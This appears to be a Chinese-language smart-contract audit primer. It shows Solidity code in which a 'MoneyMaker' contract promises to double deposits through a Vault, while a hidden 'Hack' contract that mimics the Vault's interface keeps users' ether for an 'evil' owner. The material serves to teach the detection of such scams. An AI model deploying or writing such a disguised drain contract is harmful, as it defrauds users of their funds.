智能合约安全审计入门篇 —— 移花接木

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker {    Vault vault;
    constructor(address _vault) {        vault = Vault(payable(_vault));    }
    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");
        uint256 amount = msg.value * 2;
        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");
        vault.transfer(recipient, amount);    }}
contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;
    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }
    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }
    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }
    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }
    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");
        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }
    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }
    receive() external payable {}
    fallback() external payable {}}
// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;
    constructor(address _evil) {        evil = _evil;    }
    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }
    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }
    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }
    receive() external payable {}
    fallback() external payable {}}